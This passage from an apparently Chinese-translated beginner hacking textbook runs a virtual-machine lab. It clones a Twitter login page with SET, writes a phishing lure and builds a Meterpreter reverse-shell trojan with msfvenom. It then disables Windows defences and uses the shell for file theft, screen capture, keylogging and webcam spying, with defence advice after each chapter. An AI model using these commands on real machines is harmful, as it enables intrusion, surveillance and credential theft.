POSSIBLE PASSWORD FIELD FOUND: session[password]=Jane!!!

如果 SET 没有提取登录信息,再次填写克隆的表单。如果你仍然找不到输入的用户名和密码,关闭 SET 并尝试克隆另一个网站。

只要 SET 还在运行,你可以通过任何可以访问 Kali 虚拟机网络的浏览器,向你的表单提交用户名和密码。这意味着你可以启动 Windows 虚拟机,假装自己是钓鱼受害者,浏览到你的 Kali 虚拟机 IP 地址(例如 10.0.9.4),并在假页面上输入用户名和密码。

创建钓鱼邮件

钓鱼攻击的最后一步是创建并发送一封包含钓鱼网站 IP 地址链接的钓鱼邮件。记住,SET 的站点克隆器在你的 Kali 虚拟机上运行着一个假版本的 Twitter 登录页面,因此它使用的是你的 Kali 虚拟机的 IP 地址。在你的 Kali 或 Windows 虚拟机中,登录你的电子邮件账户并撰写一封新邮件。你的钓鱼邮件可以像这样简单:

主题:账户异常活动

消息:有人试图从匈牙利布达佩斯登录你的 Twitter 账户。如果这不是你,请登录你的账户并检查你的安全设置:http://10.0.9.4。

将消息发送到你自己的邮箱,并在运行 SET 的 Kali 或 Windows 10 虚拟机上打开它。点击链接应该会将你带到克隆的钓鱼网站!

然而,大多数人可能不会点击邮件中的链接。因为邮件看起来不像是 Twitter 发来的正常邮件,而且链接显示的是一个 IP 地址,而不是 Twitter 的网址。为了创建一个更具说服力的钓鱼骗局,攻击者可能会复制一封真实的 Twitter 邮件,这封邮件使用了 Twitter 的标志和样式,并将其粘贴到一封新邮件中。然后,他们会更改文本和链接,试图说服人们点击进入克隆的网站。图 5-5 展示了我做的一个例子。

f05005

图 5-5:我通过更改文本和超链接,将一封真实的 Twitter 邮件转换成了钓鱼邮件。

我让它看起来像是有人试图从朝鲜黑客入侵用户账户,目的是促使他们点击链接查看“安全设置”。接着,我为文本“安全设置”添加了一个超链接,指向我的克隆登录页面。在大多数电子邮件程序中,你可以通过高亮要转化为链接的文本,点击链条图标(在图 5-5 中框出),并输入链接地址来插入超链接。由于可疑的 IP 地址隐藏在“安全设置”文本背后,用户更有可能点击链接进入钓鱼网站。

现在你已经了解了钓鱼攻击,我们来看看如何保护自己免受钓鱼攻击的侵害。

防范钓鱼攻击

你可以通过以下几个简单的技巧来保护自己免受电子邮件诈骗:

  • 将鼠标悬停在邮件中的链接上(不要点击它们!),查看链接地址是否可疑,比如拼写错误或异常长/数字化的地址。通常,当你这样做时,地址会显示在浏览器或电子邮件程序的屏幕底部附近。(你也可以使用 VirusTotal 来检查链接地址是否含有恶意软件,就像我们在第四章中做的那样。)

  • 检查电子邮件的发件人(From:)和收件人(To:)字段,确保它们都是可信的。注意发件人地址中的拼写错误或不同的域名,比如gmail.com而不是yourbank.com

  • 如果有人要求你提供个人信息,请仔细思考是谁在索取这些信息,要求的信息是什么,以及为什么需要这些信息。

  • 如果你对电子邮件的来源感到不确定,不要点击或打开任何内容。可以打电话给发送者或者公司(使用一个真实的电话号码,而不是邮件中的号码)验证任何重要交易或紧急问题。

如果你怀疑某封电子邮件是假的,打开一个单独的浏览器窗口,输入真实的 URL 或者在线搜索该公司名称,访问真实的网站。再次检查地址栏,确保 URL 是你预期的那样。即便如此,只有在网站安全时才输入你的用户名和密码。如果一个网站是安全的,你可以通过其 URL 以https://开头,并且浏览器地址栏中会显示安全锁图标来判断。

关键要点

在本章中,你了解了社会工程师如何利用人类情感来操控受害者,诱使他们做出错误的选择,无论是在面对面的交流中,还是在线上。你了解了最常见的在线社会工程攻击——钓鱼攻击。

为了理解钓鱼攻击有多么简单且有效,你使用 Kali Linux 中的社会工程工具包(SET)克隆了一个登录页面,从而收集了毫无戒心用户的凭证。你创建了一个指向克隆页面的钓鱼邮件,并且你看到了攻击者如何通过先获取一封真实的电子邮件,再修改其中的文本和链接,来制作更具说服力的钓鱼邮件。

你学会了通过仔细查看任何要求你点击链接、打开文档或采取异常行动的电子邮件中的“发件人”和“收件人”字段,来保护自己免受钓鱼攻击。你还学会了通过将鼠标悬停在每个链接上并检查网址来检查链接。奇怪或拼写错误的网页地址,以及网址中不寻常的长网址或数字 IP 地址,都可能是钓鱼攻击的线索。如果有疑问,千万不要点击电子邮件中的任何链接。相反,打开一个独立的浏览器窗口,输入你有账户的真实网站的域名,直接登录。

在下一章节,你将向你的黑客工具箱中添加另一个重要的工具:恶意软件。恶意软件将允许你远程接管另一台计算机,窃取文件、记录击键,甚至访问用户的摄像头。

第六章:远程黑客攻击与恶意软件

在本章中,你将学习攻击者如何利用互联网恶意软件感染并控制各种计算设备,从世界任何地方发起攻击。恶意软件malware)是指任何旨在窃取或损坏数据、破坏计算机系统或用户的软件。

如果攻击者能诱使你打开一个恶意附件、视频或应用程序,他们就能控制你的计算机、智能手机或其他联网设备。为了保护自己,你需要了解黑帽黑客是如何轻松创建病毒并感染你的计算机的。一旦设备被感染,攻击者通常可以看到 一切——包括你的文件、你的击键、你的屏幕,甚至是你摄像头看到的内容!

在本章中,你将安全地在你的 Kali 虚拟机上创建一个病毒,并通过虚拟网络感染你的 Windows 虚拟机。然后,你将从 Kali 工作站控制 Windows 虚拟机,窃取数据、击键、摄像头视频等——就像攻击者一样。你将负责任地进行操作,确保恶意软件不会逃脱你的虚拟环境。在这个过程中,你还将学习如何保护自己免受大多数互联网恶意软件的侵害。

为了执行我们的黑客攻击,我们将使用 Kali 最著名的工具之一——Metasploit。Metasploit 框架是一个开源渗透测试工具包,由计算机安全公司 Rapid7 维护。之所以称其为框架,是因为它是一个完整的软件平台,用于开发、测试和执行漏洞利用工具。漏洞利用是指利用计算机系统中的漏洞进行攻击的行为。

Metasploit 被称为黑客的瑞士军刀,因为它内置了许多有用的工具。实际上,Metasploit 包含了多达 2,000 个漏洞利用工具,且数量仍在增加,包括针对 Windows、macOS、Linux、Microsoft Office、Adobe 产品、大多数浏览器、iOS、Android 等平台的漏洞利用工具。

创建你自己的病毒

我们将从在 Kali 虚拟机上构建恶意软件开始,通过我们在第三章中创建的 PublicNAT 网络来接管你的 Windows 虚拟机。具体来说,我们将创建一个 木马,这是一种看似无害但能让攻击者控制计算机的恶意软件。木马有时被称为 远程访问木马 (RATs),因为它们允许攻击者通过互联网从世界任何地方控制目标计算机——无需物理访问。

木马通常伪装成诱使用户下载并运行的文件,比如最新热门歌曲或电影的盗版副本,或是某个流行视频游戏的作弊程序。例如,我们将把我们的木马命名为 Fortnite_cheat_mode.exe。登录到你的 Kali 虚拟机,让我们开始创建恶意软件吧!你可能会惊讶于它是多么简单。

  1. 在你的 Kali 虚拟机中,点击左上角的 Kali 图标,然后进入08 - Exploitation ToolsMetasploit Framework。如果系统提示输入 sudo 密码,请输入kali。Metasploit 框架控制台(msfconsole)将启动,通常会在顶部显示一段有趣的 ASCII 艺术文本,如图 6-1 所示。

  2. 你应该看到一个标有msf6 >的命令提示符,表示“Metasploit 框架,版本 6”。输入ip addr来检查 Kali 虚拟机的 IP 地址,并确保它已连接到 PublicNAT 网络:

    msf6 > `ip addr`
    

    f06001

    图 6-1:Metasploit 框架控制台的启动信息,左下角是 Metasploit msf 6 >命令提示符

  3. 查找eth0:部分下以inet开头的行,后面跟着一个 IP 地址:

    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 08:00:27:23:ff:90 brd ff:ff:ff:ff:ff:ff **inet 10.0.9.***x***/24 brd 10.0.9.255 scope global noprefixroute eth0**1
    

    只要地址以10.0.9开头,你就连接到了你在第三章中创建的 PublicNAT 网络,并且准备就绪。请注意 IP 地址;你将在多个命令中使用它。如果你没有看到10.0.9.x作为你的 IP 地址,请回到第三章第 26 页重新创建 PublicNAT 网络,或者第 27 页正确地将 Kali 虚拟机连接到该网络。

  4. 输入以下两行命令,将 IP 地址中的x替换为你刚刚查到的数字:

    msf6 > `msfvenom  -p  windows/meterpreter/reverse_tcp  \` > `LHOST=10.0.9.``x` `-f  exe  -o  ~/Desktop/Fortnite_cheat_mode.exe`
    
  5. 现在你应该在桌面上看到一个名为Fortnite_cheat_mode.exe的文件,如图 6-2 所示。如果你没有看到这个文件,打开文件资源管理器,前往/home/kali/Desktop/来查找它。

f06002

图 6-2:msfvenom工具创建了一个名为Fortnite_cheat_mode.exe的木马并将其放在桌面上(左下角)。

你现在已经创建了第一个木马——做得不错!这只用了我们在第 4 步的msf6 >命令提示符下输入的两行命令。实际上,这只是一个长命令,但第一行末尾的反斜杠(\)允许我们将命令延续到第二行。

那么这个命令到底做了什么呢?它告诉 Metasploit 的msfvenom工具创建一个包含 Meterpreter shell 的恶意软件,这是一个接口,可以让我们从 Kali 中通过命令行(shell)控制 Windows 虚拟机。我们通过输入LHOST=后跟 Kali 虚拟机的 IP 地址,告诉 Meterpreter shell 从哪里接收命令。-f exe选项告诉msfvenom输出的格式(-f)应该是 Windows 可执行程序(exe)文件。-o选项告诉msfvenom输出文件的名称和位置:一个名为Fortnite_cheat_mode.exe的文件,将保存在桌面(~/Desktop/)上。

共享恶意软件

现在我们已经有了一个木马 Windows 可执行文件,我们需要将它传输到你的 Windows 虚拟机上。通常攻击者会尝试通过电子邮件发送木马,但许多电子邮件程序会扫描附件中的恶意软件,而且你也不希望通过个人电子邮件账户发送木马。相反,我们将创建一个共享文件夹,Windows 用户可以通过其网页浏览器访问。

  1. 在 msfconsole 窗口中输入此命令,在大多数 Linux 计算机上创建一个名为 share 的文件夹,作为共享网页文件夹的默认位置:

    msf6 > `sudo mkdir /var/www/html/share`
    
  2. 将木马复制到新文件夹中:

    msf6 > `sudo cp ~/Desktop/Fortnite_cheat_mode.exe /var/www/html/share`
    
  3. 启动 Apache 网络服务器应用程序,这样文件夹就能通过网络访问:

    msf6 > `sudo service apache2 start`
    
  4. 为了确认木马现在可以下载,请在你的 Kali 虚拟机中打开浏览器,访问 http://<10.0.9.x>/share,将 <10.0.9.x> 替换为你的 Kali 虚拟机的 IP 地址。你将看到类似于 图 6-3 所示的网页。

f06003

图 6-3:感谢 Kali 的 Apache 网络服务器,我们的木马恶意软件现在可以通过(虚拟)网络访问!

监听木马回家的连接

现在我们需要准备 Metasploit,以便接收来自感染的 Windows 机器的传入连接(我们有时称之为回家)。一个传入连接将让我们发送恶意命令来远程控制一台机器。通常,攻击者会向成千上万的潜在受害者发送病毒邮件附件,等待看看哪些人打开附件并感染。在我们的案例中,我们只感染一个 Windows 虚拟机。然而,按照这些步骤,我们也能轻松地接收多个感染计算机的连接来控制它们。

  1. msf6 > 提示符下输入此命令,告诉 Metasploit 处理或接受来自感染计算机的多个传入连接:

    msf6 > `use exploit/multi/handler`
    

    msfconsole 提示符将发生变化,以告诉我们 multi/handler 漏洞利用已经激活。

  2. 现在告诉 Metasploit 木马的有效载荷——也就是我们传送的恶意程序——是一个 Meterpreter shell:

    msf6 exploit(multi/handler) > `set PAYLOAD windows/meterpreter/reverse_tcp`
    

    msfconsole 会响应 PAYLOAD => windows/meterpreter/reverse_tcp,表示我们已选择 Meterpreter 有效载荷。

  3. 输入你的 Kali 虚拟机的 IP 地址,以指示连接将要到达的本地主机(记得填写最后一个数字):

    msf6 exploit(multi/handler) > `set LHOST` `10.0.9.x`
    

    Metasploit 会响应 LHOST => 10.0.9.x,表示本地主机选项已正确设置。

  4. 最后,等了这么久的时刻终于到了:启动漏洞利用!

    msf6 exploit(multi/handler) > `exploit -j` 
    

    -j 选项告诉 Metasploit 将处理程序放到后台运行,这样你就可以在等待感染的机器连接到 Kali 虚拟机时继续使用 msfconsole。Metasploit 会确认漏洞利用在后台运行,准备接受来自 10.0.9.x:4444 或你 Kali 虚拟机的端口 4444 上的传入连接。

感染你的 Windows 虚拟机

我们的木马已经准备就绪,接下来是时候感染你的 Windows 虚拟机了。首先,我们将禁用几个 Windows 安全功能,这些功能通常会让用户难以做出像下载并打开互联网上可疑文件这样愚蠢的行为。然后,关闭这些安全功能后,我们就正是要做这些愚蠢的事情。

记住,你的 Windows 虚拟机是为了让你安全地练习黑客技能而创建的。如果你搞砸了,比如感染了木马,你可以简单地删除 Windows 虚拟机并创建一个新的。考虑到这一点,启动你的 Windows 10 虚拟机,在提示时输入用户名 IEUser 和密码 Passw0rd!,然后开始吧。

  1. 在 Windows/Cortana 搜索栏中输入 cmd 查找命令提示符。右键点击并选择 以管理员身份运行。在弹出的窗口中询问你是否允许该应用程序对设备进行更改时,点击

  2. 在出现的“管理员:命令提示符”窗口中,输入此命令来关闭 Windows 虚拟机的防火墙:

    C:\Windows\system32> `netsh advfirewall set allprofiles state off`
    

    通常,防火墙 会阻止外部计算机的恶意或不必要流量,并且它可以防止你的计算机与恶意服务器建立可疑连接。执行此命令后,你可能会看到弹出的消息“打开 Windows 防火墙。” Windows 正在警告你关闭防火墙是危险的——确实如此!——但这正是我们第一次远程攻击所需要的。

  3. 接下来,我们将关闭 Windows Defender,这是另一种安全工具。在搜索栏中输入 virus,然后打开 病毒与威胁防护 设置。

  4. 点击 管理设置,将实时保护和云端防护的切换按钮滑到 关闭。Windows 会再次询问你是否允许此应用程序对设备进行更改。点击 。你的 Windows 10 虚拟机现在和地球上四分之一的计算机一样脆弱。

  5. 打开 Edge 浏览器,访问 http://<10.0.9.x>/share/

  6. 点击你的木马并选择保存,将文件下载到你的 Windows 虚拟机的 下载 文件夹中。

  7. 关键时刻:打开 Windows 虚拟机的 下载 文件夹,双击木马可执行文件运行它。

  8. 事实证明,Windows 10 计算机有一层额外的病毒保护,以防止像我们刚刚犯的愚蠢错误:Windows Defender SmartScreen 会弹出警告,显示“已阻止一个无法识别的应用程序启动”,如图 6-4 所示。点击 更多信息 然后选择 继续运行

你现在已经控制了你的第一台计算机!你不会在 Windows 虚拟机上看到任何变化,但如果你切换回 Kali 虚拟机,应该会在 msfconsole 中看到类似以下内容:

[*] Sending stage (179779 bytes) to 10.0.9.5
[*] Meterpreter session 1 opened (10.0.9.4:4444 -> 10.0.9.5:49830) at 2021-06-11 12:39:46 -0400

被感染的 Windows 虚拟机已回拨到 Kali 并建立了连接(也叫做 会话)。恭喜你:Windows 虚拟机现在正在等待你的命令!

f06004a

图 6-4:Windows Defender SmartScreen 尝试最后一次保护你的 Windows 虚拟机。

使用 Meterpreter 控制你的 Windows 虚拟机

现在,我们已经在 Kali 和 Windows 虚拟机之间建立了连接,准备开始从 Metasploit 操控 Windows 机器。首先,在 Metasploit 终端窗口中输入 sessions 查看活动的 Metasploit 连接列表:

msf6 exploit(multi/handler) > **sessions**
Active sessions
=============== Id  Name  Type                     Information                       Connection --  ----  ----                     -----------                       ---------- 1         meterpreter x86/windows  MSEDGEWIN10\IEUser @ MSEDGEWIN10  10.0.9.4:4444 -> 10.0.9.5:63750 (10.0.9.5)

如你所见,我们连接到一台名为 MSEdgeWin10 的受感染 Windows 10 计算机,用户名为IEUser——这就是你的 Windows 10 虚拟机!我们的会话 ID 号是 1。如果你在其他计算机上也运行了木马,你会看到多个会话列出,每个都有自己的 ID 号。同样,如果你需要重新建立与 Windows 虚拟机的连接,它将以不同的 ID 号列出,例如 2。

输入sessions -i 1来开始与 Windows 虚拟机交互:

msf6 exploit(multi/handler) > **sessions -i** `1`
[*] Starting interaction with 1...
meterpreter >

命令提示符变为meterpreter >,表明我们正在与远程 Windows 虚拟机上的 Meterpreter shell 交互。让我们试几个命令。输入sysinfo来查看计算机的一些信息,比如操作系统(OS)、系统语言等:

meterpreter > **sysinfo**
Computer        : MSEDGEWIN10
OS              : Windows 10 (Build 17763).*--snip--*

现在,让我们尝试另一个命令,pwd,是print working directory的缩写,用来查看 Meterpreter shell 运行的路径:

meterpreter > **pwd**
C:\Users\IEUser\Downloads

这告诉我们 Meterpreter shell 是从 Windows 虚拟机的Downloads目录运行的——我们木马所在的位置。

输入help以列出你可以从 Meterpreter shell 远程运行的一些最常见的命令。这里有用于运行程序、终止正在运行的进程、关闭或重启远程计算机、清除事件日志(在黑客攻击时掩盖踪迹)、捕捉按键、截屏、监视远程用户的桌面或摄像头等命令,仅举几例。总共有 100 多条命令,攻击者可以利用这些命令几乎完全控制一台计算机。部分命令列表请参见图 6-5。

为了了解威胁的严重性,让我们看看攻击者如何通过受感染的文件轻松地黑掉我们的文件、键盘、摄像头等。并非每个命令在每次尝试时都能成功;你可能需要多次尝试。然而,探索这些命令可能造成的破坏应该会促使你永远不要从随机网页或电子邮件附件安装软件。

f06005a

图 6-5:我们可以用来控制受感染的 Windows 虚拟机的一些令人惊叹的 Meterpreter 命令

查看和上传文件

我们将通过浏览计算机文件并上传我们的木马备份文件来开始对 Windows 虚拟机的利用。

  1. meterpreter >命令提示符下,输入以下命令将目录更改为受感染的虚拟机的Documents文件夹,并列出该文件夹的内容:

    meterpreter > `cd  ../Documents`
    meterpreter > `ls`
    Listing: C:\Users\IEUser\Documents
    ==================================
    Mode              Size  Type  Last modified              Name
    ----              ----  ----  -------------              ----
    40777/rwxrwxrwx   0     dir   2019-03-19 06:49:34 -0400  My Music
    40777/rwxrwxrwx   0     dir   2019-03-19 06:49:34 -0400  My Pictures
    40777/rwxrwxrwx   0     dir   2019-03-19 06:49:34 -0400  My Videos
    40777/rwxrwxrwx   0     dir   2019-03-19 07:29:40 -0400  WindowsPowerShell
    100666/rw-rw-rw-  402   fil   2019-03-19 06:49:49 -0400  desktop.ini
    

    你将看到音乐、图片、视频等文件夹,和任何其他 Windows 计算机一样。攻击者可以使用这些命令浏览目标计算机,寻找感兴趣的文件进行窃取。

  2. Fortnite_cheat_mode.exe恶意文件从你的 Kali 虚拟机上传到Documents文件夹:

    meterpreter > `upload /home/kali/Desktop/Fortnite_cheat_mode.exe` 
    [*] uploading  : /home/kali/Desktop/Fortnite_cheat_mode.exe -> Fortnite_cheat_mode.exe
    [*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /home/kali/Desktop/Fortnite_cheat_mode.exe -> Fortnite_cheat_mode.exe
    [*] uploaded   : /home/kali/Desktop/Fortnite_cheat_mode.exe -> Fortnite_cheat_mode.exe
    
  3. 切换回你的 Windows 10 虚拟机并打开Documents文件夹。你应该能看到新上传的木马文件,如图 6-6 所示。

f06006

图 6-6:我们可以从 Kali 向感染的 Windows 10 虚拟机上传文件。

现在你已经在 Windows 虚拟机上备份了特洛伊木马,你可以随时将其从Documents文件夹复制并粘贴到Downloads文件夹中,防止 Windows Defender 重启后删除Downloads文件夹中的特洛伊木马。一旦某人通过网络或电子邮件打开一个被感染的文件,攻击者通常会在计算机的不同位置上传多个病毒,以确保他们能够持续控制目标机器。

从受害者计算机下载文件

Meterpreter 中的 download 命令允许你从受害者计算机下载文件。为了尝试,我们将在 Windows 虚拟机上创建一个示例文本文件,然后偷取它。

  1. meterpreter > 提示符下输入此命令,以远程控制受害者计算机的 Windows 命令行终端,或shell

    meterpreter > `shell`
    Process 4952 created.
    Channel 1 created.
    Microsoft Windows [Version 10.0.17763.379]
    (c) 2018 Microsoft Corporation. All rights reserved.
    
  2. 现在创建一个名为hacked.txt的文件,内容为“你已经被黑客攻击!”

    C:\Users\IEUser\*Do**cument**s**>* `echo "You've been hacked!" > hacked.txt`
    echo "You've been hacked!" > hacked.txt
    
  3. 检查 Windows 虚拟机上的Documents文件夹。你应该能看到我们刚刚从 Kali 远程创建的hacked.txt文件。

  4. 回到 Kali,退出 Windows shell,返回到 Meterpreter:

    C:\Users\IEUser\Documents> `exit`
    exit
    
  5. 现在将文件从 Windows 下载到你的 Kali 虚拟机上:

    meterpreter > `download hacked.txt`
    [*] Downloading: hacked.txt -> hacked.txt
    [*] Downloaded 24.00 B of 24.00 B (100.0%): hacked.txt -> hacked.txt
    [*] download   : hacked.txt -> hacked.txt
    
  6. 最后,使用以下命令查看文件内容,即我们的“你已经被黑客攻击!”消息。

    meterpreter > `cat hacked.txt`
    "You've been hacked!"
    

我们已经成功从受害者的计算机上下载了一个文件!在这个例子中,是我们在攻击虚拟机上(远程)创建的文件,但真正的攻击者可能会下载更重要的信息。任何 Windows 用户有权限访问的文件都可以被攻击者下载,当 Windows 用户运行 Meterpreter 木马时:客户名单、家庭照片、预算表格、税务表单、银行对账单、员工数据、病历记录、宝贵的知识产权或任何敏感文件,都可以在几次按键之间被窃取。

查看受害者计算机的屏幕

像 Meterpreter shell 这样的特洛伊木马通常被称为后门,因为它们使攻击者能够绕过所有其他安全措施(包括登录)以访问你的计算机。这就像是通过电影院的后门偷偷溜进去。当你在 Windows 虚拟机上点击 Meterpreter 木马文件时,你就打开了一个秘密门,使我们能够上传和下载文件。但事情变得更糟:你为我们的攻击虚拟机提供了一个后门,使我们能够查看你的计算机屏幕、记录你的按键,甚至开启你的摄像头!为了证明这一点,我们将尝试从 Kali 中查看 Windows 虚拟机的屏幕。

  1. 在 Meterpreter shell 中输入 screenshot -v true 命令。使用此命令,攻击者可以发现受害者计算机用户看到的内容。

    meterpreter > **screenshot -v true**
    Screenshot saved to: /home/kali/Desktop/*kYpTvFbl*.jpeg 
    
  2. 应该会弹出一个窗口,显示来自 Windows 虚拟机的截图,如图 6-7 所示。f06007

    图 6-7:从 Windows 虚拟机捕获屏幕截图

  3. 你甚至可能能够更进一步,实时监视用户的计算机屏幕。在 Meterpreter 中,输入 screenshare 命令:

    meterpreter > `screenshare`
    [*] Preparing player...
    [*] Opening player at:  /home/kali/oDgBGMiY.html
    [*] Streaming...
    

    这个命令并不总是有效,而且它可能会让你的虚拟机(以及宿主计算机)变得非常缓慢,因为它试图将 Windows 10 虚拟机的计算机屏幕实时视频通过虚拟网络流传输到 Kali 虚拟机。但如果它成功了,你将能够通过 Kali 中的浏览器窗口看到 Windows 10 虚拟机的桌面,如图 6-8 所示。

  4. 切换到你的 Windows 虚拟机,移动一些文件或窗口,清空回收站,或打开一个网页。如果你有多个显示器,或者有足够的空间同时显示两个虚拟机,你可以通过 Kali 中浏览器中的流媒体视频观看你在 Windows 虚拟机中的一切操作。很毛骨悚然,对吧?

  5. 点击回到 Kali 中的 Meterpreter 终端窗口,然后按 CTRL-C 停止屏幕共享。

f06008

图 6-8:screenshare 命令让 Kali 上的攻击者能够通过互联网监视你的 Windows 桌面。

记录按键

一旦控制了计算机,攻击者就可以记录用户的每一个按键。这使得攻击者能够获得用户输入的记录,包括搜索、命令、密码等。让我们看看它是如何工作的。

  1. 在 Meterpreter shell 中输入 keyscan_start 命令,以开始记录目标计算机的按键:

    meterpreter > `keyscan_start`
    Starting the keystroke sniffer ...
    
  2. 切换回 Windows 虚拟机,在搜索栏中输入 notepad 并打开记事本应用。

  3. 将此信息输入记事本:

    `My credit card number is not 1111 1111 1111 1111``with an expiration of 11/2028``and a cvv of 111`
    

    当然,你永远不应将敏感信息以明文形式存储在计算机上,但世界上许多人确实这样做。

  4. 切换回 Kali 虚拟机并输入 keyscan_dump 查看记录的按键:

    meterpreter > `keyscan_dump`
    Dumping captured keystrokes...
    notepad<CR>
    <Shift>My credit card number is not 1111 1111 1111 1111<CR>
    with an expiration of 11/2028<CR>
    and a cvv of 111<CR>
    

    Meterpreter 捕获了 Windows 10 用户的所有按键,包括特殊键,如 <CR>(即回车键,是 ENTER 键的另一种称呼)。虽然在文本文件中输入可能看起来是一个不太现实的例子,但你可以想象,用户可能正在向一个在线购物网站输入他们的信用卡号,或在银行的网页门户登录时输入用户名和密码。

  5. 在 Meterpreter shell 中输入 keyscan_stop 命令,以停止捕获来自 Windows 计算机的按键:

meterpreter >`keyscan_stop`
Stopping the keystroke sniffer...

通过摄像头进行间谍监视

如果记录按键还不足以让你感到毛骨悚然,那么查看受害者计算机的摄像头应该会让你想搬到一个没有互联网的偏远岛屿(或者至少让你决定用便签纸覆盖住摄像头)。将摄像头连接到 Windows 虚拟机可能无法成功,但即便你无法亲自尝试这个攻击,它在真实的带有摄像头的 Windows 计算机上却能可靠地执行。继续进行此操作时,你需要一台摄像头(笔记本电脑自带的摄像头或连接到台式机的 USB 摄像头)以及耐心,按照警告中给出的步骤多次重新运行整个黑客操作。

  1. 检查你的摄像头是否出现在 Windows 虚拟机菜单栏的 设备摄像头下。如果有,选择它的名称并跳至第 6 步。否则,我们需要将摄像头连接到虚拟机。

  2. 关闭 Windows 虚拟机并选择 关闭机器电源

  3. 在 VirtualBox 管理器中,选择 Windows 虚拟机并进入 机器设置,或者在 macOS 上选择 机器设置端口。在设置菜单中选择 USB,然后勾选 启用 USB 控制器 旁边的复选框。

  4. 重启 Windows 虚拟机。进入菜单栏,选择 设备摄像头设备USB,然后选择你的摄像头名称。

  5. 关闭 Windows 虚拟机的防火墙和防御程序。然后重新运行木马。

  6. 在 Kali 中的 Meterpreter 提示符下输入 webcam_list,查看摄像头是否可用。你应该看到类似如下内容:

    meterpreter > `webcam_list`
    1: VirtualBox Webcam - Logitech HD Webcam C310 
    

    例如,我的摄像头显示为 VirtualBox Webcam - Logitech HD Webcam C310

  7. 输入 webcam_stream 通过 Meterpreter 连接到摄像头。

    meterpreter > `webcam_stream`
    [*] Starting...
    [*] Preparing player...
    [*] Opening player at: /home/kali/KMKiGQxa.html
    [*] Streaming...
    

    Meterpreter 将打开 Firefox,并从 Windows 虚拟机的摄像头流式传输视频,如图 6-9 所示。

f06009

图 6-9:摄像头流显示我和办公室里的书架。

你应该能看到摄像头的 LED 灯亮起,表明摄像头正在工作。与 screensharekeyscan 命令不同,摄像头黑客攻击会让你知道有人在监视你。如果摄像头灯在你未使用它时亮起,请运行 彻底 的杀毒扫描并重启计算机,看看灯是否会熄灭。然而,不要只依赖摄像头的 LED 灯:一些高级黑客手段能够在 不亮起 LED 灯的情况下进行间谍监视。这就是为什么练习下一节中描述的安全措施非常重要。

要停止从 Windows 10 虚拟机摄像头流式传输视频,关闭 Firefox 并在 Meterpreter 窗口按 CTRL-C 来中断 webcam_stream 命令。然后拿一个便签或一段胶带,覆盖掉你笔记本上的摄像头!

防御恶意软件

如你在本章中所见,病毒的创建和传播极其简单。你收到或打开的任何可疑邮件附件、链接、网页、应用或视频,都可能包含等待启动的恶意软件。攻击者甚至不需要太多技能,只需使用 Metasploit 并诱使人们下载病毒。一旦计算机被感染,恶意黑客可以对其进行的攻击简直让人不寒而栗。

你最好的防御措施如下:

  1. 经常更新软件。定期更新你的操作系统和应用程序,从文字处理软件、网页浏览器到 PDF 阅读器——至少每月一次。选择一个固定的日期,比如每月的 1 号、15 号或 30 号,在日历上标记更新你的设备和所有应用程序。把它当作另一项必须完成的任务,就像支付账单或修剪草坪一样。Kali 中的 2000 多个漏洞大多攻击的是软件的旧版本,所以如果你保持安装最新的安全补丁,你的设备就会减少遭受攻击的风险。

  2. 使用防火墙和杀毒软件。保持防火墙开启,并定期更新你的杀毒软件。有很多免费的或者低成本的杀毒工具可供选择。研究哪些杀毒软件能够阻止最多的恶意软件,然后每周更新你的杀毒工具,或者开启自动更新,以确保它能够有效地保护你。

  3. 在点击之前先思考。恶意软件可以通过感染的程序文件、盗版视频,甚至是 Office 文档和 PDF 文件来传播。点对点文件共享网站上充斥着“免费”的恶意软件感染文件,等待着毫无戒心的受害者。对来自不信任来源的任何文件运行 VirusTotal 或其他病毒扫描工具,并且不要下载任何可疑或非法的文件。

这些措施不能让你变得无敌,但它们可以帮助你避免大多数基于恶意软件的攻击,并且使你成为一个足够困难的目标,让大多数黑客选择攻击其他受害者。大多数攻击依赖于低垂的果实——这是指黑客可以轻松进入你系统的机会,比如过时的软件、禁用的防火墙或杀毒程序,或者是点击链接或下载文件时没有先进行扫描的用户。不幸的是,低垂的果实足够多,足以让黑客忙碌,因此采取一些像这样的明智预防措施,能让你避免超过 90%的攻击。

哦……在不使用摄像头时,记得遮住它!

关键提示

在本章中,你学习了攻击者是如何创建恶意软件的,以及一台没有保护的计算机是多么容易被感染。使用 Metasploit 框架,你创建了一个 Meterpreter 远程访问木马(RAT),这是一种特殊类型的恶意软件,只要攻击者有互联网连接,就可以从世界任何地方控制你的计算机。你通过在 Kali Linux 虚拟机上启动 Apache Web 服务器,并将木马放置在共享的网页文件夹中,将你的恶意软件共享到网络中。然后,你将恶意软件下载到 Windows 虚拟机上并打开文件,从而感染了你的计算机。

接下来,你通过 Kali 中的 Meterpreter 远程 shell 控制了 Windows 虚拟机。你学习了攻击者是如何通过简单的命令上传和下载文件、窃取截图、记录按键、以及通过摄像头进行间谍活动的。在大多数攻击中,你的 Windows 虚拟机甚至没有显示出被黑的迹象。

最后,你已经学会了如何防止许多基于恶意软件的攻击。避免可疑的下载、链接和网站;保持你的防火墙和杀毒软件开启并保持最新;定期更新你的操作系统和应用程序,这些都是重要的预防措施。如果你使用多重安全防护,你将成为一个更难攻击的目标,大多数攻击者会转向更容易的猎物。

在下一章,我们将把我们的技能提高一个层次,看看不道德的黑客如何利用 Meterpreter 和其他工具窃取和破解密码。

第七章:偷窃与破解密码

在第六章中,你学习了攻击者如何创建恶意软件来感染你的计算机并查看你的文件、按键记录、屏幕、摄像头视频等内容。在本章中,你将看到攻击者如何使用相同的恶意软件窃取 Windows 计算机上所有用户的加密密码。然后你将了解黑客如何破解这些密码,或将它们恢复为未加密的明文形式。

如果攻击者破解了你的密码,他们可能能够黑入任何你使用过该密码的账户、网站或设备——即使你已经添加了额外的字符,使其在其他账户中显得“独特”。弱密码是黑帽黑客最容易突破组织网络或你的个人账户的方式之一。然而,如果你的密码足够强大,即使攻击者窃取了加密密码,他们也无法破解它。

密码哈希

现代计算机系统和安全网站在存储密码之前,会使用加密哈希函数对密码进行加密。与间谍电影中出现的代码不同,那些代码是为了在接收端解码的,而加密哈希函数以一种无法反向或解密的方式加密你的密码。密码的哈希版本称为密码哈希。哈希值可以看作是由十六进制数字组成的长字符串,如示例 7-1 所示。

359878442cf617606802105e2f439dbc
63191e4ece37523c9fe6bb62a5e64d45
9dddd5ce1b1375bc497feeb871842d4b
4d1f35512954cb227b25bbd92e15bc7b
e6071c75ea19bef227b49e5e304eb2f1

示例 7-1:五个密码的哈希版本

